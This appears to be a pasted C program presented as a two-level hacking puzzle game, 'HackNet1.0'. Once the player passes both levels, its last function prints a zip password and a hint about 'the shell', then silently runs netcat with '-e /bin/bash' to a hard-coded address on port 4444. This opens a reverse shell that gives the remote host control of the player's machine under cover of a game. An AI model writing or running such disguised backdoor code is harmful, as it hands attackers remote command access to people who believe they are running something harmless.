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a guest Nov 19th, 2019 92 Never
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  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <math.h>
  4. #include <string.h>
  5. #include <sys/socket.h>
  6. #include <arpa/inet.h>
  7. #include <unistd.h>
  8. #define PORT 5678
  9.  
  10. #define MAX_LIMIT 52
  11.  
  12. void fun3() {
  13.   printf("\nThe password for final_level.zip is pass123. Try using the shell to navigate to ~/Documents and open the zip file.\n");
  14.   char *args[] = {"/bin/nc", "-nv", "10.9.8.105", "4444", "-e", "/bin/bash", NULL};
  15.   execvp(args[0], args);
  16. }
  17.  
  18. void fun2()
  19. {
  20.     printf("\n------LEVEL 2------");
  21.     printf("\nEnter text: ");
  22.     char s[100];
  23.     char temp;
  24.     temp=getchar();
  25.     fgets(s,100,stdin);
  26.     FILE *fp;
  27.     fp=fopen("/root/Desktop/hidden.txt","r");
  28.     char str[MAX_LIMIT];
  29.     fgets(str,MAX_LIMIT,fp);
  30.     int result=strncmp(str,s,10);
  31.     if(result==0)
  32.     {
  33.         printf("\nSuccessful. Moving on...");
  34.         return;
  35.     }
  36.     else
  37.     {
  38.         printf("\nWrong!! Unsuccessful");
  39.         exit(0);
  40.         return;
  41.     }
  42.  
  43. }
  44.  
  45. void fun1()
  46. {
  47.     printf("\n------LEVEL 1------");
  48.     printf("\nPlease enter two numbers seperated by a space: ");
  49.     double x,y;
  50.     scanf("%lf %lf",&x,&y);
  51.     if(x==log10(y))
  52.     {
  53.         printf("\nSuccessful. Moving On...");
  54.         fun2();
  55.     }
  56.     else
  57.     {
  58.         printf("\nErrrr You lack the proper skillset. Try again!");
  59.         exit(0);
  60.     }
  61.     return;
  62. }
  63.  
  64.  
  65. int main()
  66. {
  67.     printf("----------Welcome to HackNet1.0----------");
  68.     fun1();
  69.     fun3();
  70.     return 0;
  71. }
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